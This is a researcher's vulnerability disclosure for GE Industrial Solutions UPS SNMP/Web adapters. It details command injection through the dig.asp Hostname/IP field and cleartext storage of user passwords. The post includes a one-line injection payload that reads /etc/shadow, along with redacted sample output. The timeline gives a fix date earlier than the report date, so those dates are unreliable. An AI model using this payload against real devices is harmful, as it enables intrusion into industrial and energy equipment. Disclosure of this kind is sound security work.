GE Industrial Solutions - UPS SNMP Adapter Command Injection and Clear-text
Storage of Sensitive Information Vulnerabilities

*Timelines:*
Reported to ICS-CERT on: July 06, 2015
Fix & Advisory Released by GE: January 25, 2015
Vulnerability ID: GEIS16-01

*GE Advisory: *
http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical|GEIS_SNMP|PDF&filename=GEIS_SNMP.pdf
<http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical%7CGEIS_SNMP%7CPDF&filename=GEIS_SNMP.pdf>


*ICS-CERT Advisory:*In Progress

*About GE*

GE is a US-based company that maintains offices in several countries around
the world.

The affected product, SNMP/Web Interface adapter, is a web server designed
to present information about the Uninterruptible Power Supply (UPS).
According to GE, the SNMP/Web Interface is deployed across several sectors
including Critical Manufacturing and Energy. GE estimates that these
products are used worldwide.

*Affected Products*

• All SNMP/Web Interface cards with firmware version prior to 4.8
manufactured by GE Industrial Solutions.

*CVE-IDs:*
CVE-2016-0861
CVE-2016-0862


*VULNERABILITY OVERVIEW*
A


*COMMAND INJECTIONCVE-2016-0861*
Device application services run as (root) privileged user, and does not
perform strict input validation. This allows an authenticated user to
execute any system commands on the system.

Vulnerable function:
http://IP/dig.asp <http://ip/dig.asp>

Vulnerable parameter:
Hostname/IP address


*PoC:*
In the Hostname/IP address input, enter:
; cat /etc/shadow

Output
root:<hash>:0:0:root:/root:/bin/sh
<...other system users...>
ge:<hash>:101:0:gedeups7:/home/admin:/bin/sh
root123:<hash>:102:0:gedeups2:/home/admin:/bin/sh

B


*CLEARTEXT STORAGE OF SENSITIVE INFORMATIONCVE-2016-0862*
File contains sensitive account information stored in cleartext. All users,
including non-admins, can view/access device's configuration, via Menu
option -> Save -> Settings.

The application stores all information in clear-text, including *all user
logins and clear-text passwords*.


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I sent it out on Jan 29 but for some reason, it was not posted to FD. So
sending it again.
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Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in